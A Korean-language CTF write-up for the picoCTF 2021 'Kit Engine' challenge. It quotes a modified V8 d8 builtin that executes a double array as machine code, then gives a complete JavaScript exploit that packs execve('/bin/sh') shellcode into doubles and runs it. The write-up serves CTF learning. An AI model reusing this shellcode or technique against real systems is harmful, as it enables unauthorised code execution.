Start your engines!!
Release: https://github.com/h0meb0dy/CTF/raw/main/picoCTF%202021/Kit%20Engine/Kit%20Engine.zip
Environment Setting
- V8 commit hash: 506aeae95dd03c734e43f30ffc2a939e5bbb79bf
Analysis
/* src/d8/d8.cc */
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
// Add challenge builtin, and remove some unintented solutions
global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine));
global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
AssembleEngine()
과 Breakpoint()
함수가 추가되었습니다.
/* v8/src/d8/d8.cc */
uint64_t doubleToUint64_t(double d){
union {
double d;
uint64_t u;
} conv = { .d = d };
return conv.u;
}
void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
Isolate* isolate = args.GetIsolate();
if(args.Length() != 1) {
return;
}
double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (func == (double *)-1) {
printf("Unable to allocate memory. Contact admin\n");
return;
}
if (args[0]->IsArray()) {
Local<Array> arr = args[0].As<Array>();
Local<Value> element;
for (uint32_t i = 0; i < arr->Length(); i++) {
if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
Local<Number> val = element.As<Number>();
func[i] = val->Value();
}
}
printf("Memory Dump. Watch your endianness!!:\n");
for (uint32_t i = 0; i < arr->Length(); i++) {
printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
}
printf("Starting your engine!!\n");
void (*foo)() = (void(*)())func;
foo();
}
printf("Done\n");
}
AssembleEngine()
은 double
array를 인자로 받아서 각각의 element들을 uint64_t
로 변환하여 func
에 복사한 후 func
에 저장된 코드를 실행합니다. 즉, args
는 shellcode를 8바이트씩 묶어서 double
형으로 변환한 값들로 구성된 array입니다.
Exploit
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
// convert bigint to float
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]; // execve("/bin/sh", 0, 0)
for (let i = shellcode.length; i % 8 != 0; i++) {
shellcode[i] = 0x90; // NOP padding
}
/* convert shellcode to double */
let shellcode_double = [];
for (let i = 0; i < shellcode.length / 8; i++) {
let tmp = 0n;
for (let j = 0; j < 8; j++) {
tmp += BigInt(shellcode[i * 8 + j]) << BigInt(j * 8);
}
shellcode_double[i] = itof(tmp);
}
AssembleEngine(shellcode_double); // execute shellcode